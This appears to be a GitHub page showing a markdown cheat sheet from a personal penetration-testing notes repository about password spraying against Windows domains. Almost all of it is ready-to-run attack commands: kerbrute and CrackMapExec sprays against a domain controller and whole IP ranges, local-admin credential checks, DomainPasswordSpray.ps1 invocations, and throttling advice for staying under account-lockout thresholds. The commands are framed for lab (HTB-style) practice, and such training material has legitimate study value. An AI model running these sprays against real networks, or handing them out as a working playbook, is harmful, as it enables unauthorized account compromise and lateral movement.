Skip to content

Latest commit

 

History

History
89 lines (65 loc) · 3.89 KB

password-spraying.md

File metadata and controls

89 lines (65 loc) · 3.89 KB
Raw

Password Spraying

Password Spraying from Linux

Using Kerbrute

  • dollarboysushil@kali[dbs]$ kerbrute passwordspray -d marvel.local --dc 192.168.1.1 users_list.txt P@ssw0rd

Using Crackmapexec

  • dollarboysushil@kali[dbs]$ sudo crackmapexec smb 192.168.1.1 -u users_list.txt -p --continue-on-success

Local Admin Spraying with CrackMapExec

Local admin spraying is a technique used to check if a given set of credentials has local administrator access on multiple machines in a network.

  1. CrackMapExec Local Admin Check

    • Command:

      crackmapexec smb {IP-Range} -u {Username} -p {Password} --local-auth

    • Description: Checks if the provided username and password have local administrator privileges on the specified IP range. The --local-auth flag specifies that the provided credentials are local accounts on each target machine.

  2. Using a List of Credentials

    • Command:

      crackmapexec smb {IP-Range} -u {Usernames-File} -p {Passwords-File} --local-auth

    • Description: Uses a file containing multiple usernames and passwords to spray against the specified IP range, checking for local administrator access.

  3. Password Spraying with Known Username

    • Command:

      crackmapexec smb {IP-Range} -u {Username} -p {Password-List} --local-auth

    • Description: Performs password spraying using a known username and a list of passwords against the IP range to check if any of them provide local administrator access.

  4. Specifying a Domain

    • Command:

      crackmapexec smb {IP-Range} -d {Domain-Name} -u {Username} -p {Password} --local-auth

    • Description: Checks for local admin access on machines within a specified domain using the provided credentials.

  5. Additional Options
    • --continue-on-success: Continue spraying even if successful credentials are found.
    • --threads {Number}: Specify the number of threads for concurrent connections.

Example Commands

  • Basic Local Admin Check:

    crackmapexec smb 192.168.1.0/24 -u admin -p Password123 --local-auth

Local Admin Spraying from Windows

Local admin spraying can also be performed on a Windows machine using PowerShell scripts such as DomainPasswordSpray.ps1. This script allows for password spraying across multiple machines within a domain to check for valid credentials.

  1. Using DomainPasswordSpray.ps1

    • Step 1: Import the PowerShell module.

      PS C:\htb> Import-Module .\DomainPasswordSpray.ps1

    • Step 2: Invoke the password spraying command.

      PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

    • Description: This command sprays the password "Welcome1" across the domain, logging any successful login attempts to the spray_success file. The -ErrorAction SilentlyContinue flag suppresses errors to keep the output clean.

  2. Specifying Additional Parameters

    • -UserList {Path}: Use a file containing a list of usernames to spray against.

    • -Domain {Domain}: Specify the domain name if different from the default context.

    • -Throttle {Milliseconds}: Add a delay between attempts to avoid account lockout policies.

    • Example Command:

      PS C:\htb> Invoke-DomainPasswordSpray -UserList C:\users.txt -Password Welcome1 -Domain MYDOMAIN -OutFile spray_success -Throttle 500 -ErrorAction SilentlyContinue

Example Commands

  • Basic Password Spray:

    PS C:\htb> Invoke-DomainPasswordSpray -Password Password123 -OutFile success_log.txt -ErrorAction SilentlyContinue